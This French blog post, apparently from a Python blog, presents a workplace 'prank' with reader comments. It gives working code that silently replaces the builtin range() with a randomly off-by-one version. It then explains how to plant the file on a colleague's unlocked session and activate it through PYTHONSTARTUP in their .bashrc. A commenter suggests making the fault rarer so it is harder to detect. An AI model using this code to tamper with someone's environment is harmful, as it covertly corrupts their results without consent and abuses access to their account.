Le bon coup de pute du jeudi


Le bureau est calme. Trop calme. Les projets avancent, vos clients sont heureux et – pire ! – vos collègues sourient.

Il est temps de changer tout ça.

Choisissez une victime qui est partie boire un café sans locker sa session (quitte à faire un exemple, autant choisir un être faible), et créez un petit fichier dans le chemin “~/au/fin/fond/de/ses/reps/de/travail/evil.py”.

Ensuite mettez ça dedans :

import random
import functools
 
# on garde une référence à l'ancienne fonction
# pour éviter une récursion infinie
old_range = range
 
# on lui créé un remplaçant avec les mêmes métatadas
@functools.wraps(range)
def random_range(start, stop=None, step=1):
 
    # on mimic la signature un peu originale de range()
    if not stop:
        stop = start
        start = 0
 
    # et on fait un range avec un tout petit peu de piment
    return old_range(start, stop + random.randint(-1, 1), step)
 
# on range (lol) tout comme si de rien était
__builtins__.range = random_range

Et il n’y a plus qu’à faire pointer la variable d’environnement PYTHONSTARTUP dessus. Par exemple sous Unix, dans son .bashrc:

export PYTHONSTARTUP=~/au/fin/fon/de/ses/reps/de/travail/evil.py

Et maintenant, à chaque fois qu’il ou elle lancera son shell:

>>> range
    <function builtins.range>
 
>>> list(range(10))
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
 
>>> list(range(10))
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
 
>>> list(range(10))
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
 
>>> list(range(10))
    [0, 1, 2, 3, 4, 5, 6, 7, 8]

*Zoom final sur rire diabolique*

7 thoughts on “Le bon coup de pute du jeudi

  • mouarf

    Tu viens d’enchanter mon petit dej (et sans doute de faire raler une dizaine de personne avant la fin de ce jour).

  • betepoilue

    Ah ah excellent !!! C’est trop fort, je retiens de pouvoir modifier une fonction built-in comme ça, c’est top !

  • trnsnt

    Génial, je ne savais pas que l’on pouvait modifier les fonctions built-in. La question que je me pose, c’est est-ce qu’il y a moyen de savoir que la fonction a été modifiée ?

  • Sam Post author

    Il y a des différences subtiles, par exemple sous Python 3, avant le remplacement:

    >>> range
        builtins.range

    Après remplacement:

    >>> range
        <function builtins.range>

    Mais faut vraiment être super observateur…

  • francoisb

    Dernière étape:

    – attendre que la victime se ridiculise en postant un billet sur “bugs.python.org” pour dire qu’elle a trouvé un bug sur la fonction range

  • Xavier Combelle

    Là où ce serait très vicieux, ce serait de faire la modif genre une fois sur cent.

Comments are closed.

Des questions Python sans rapport avec l'article ? Posez-les sur IndexError.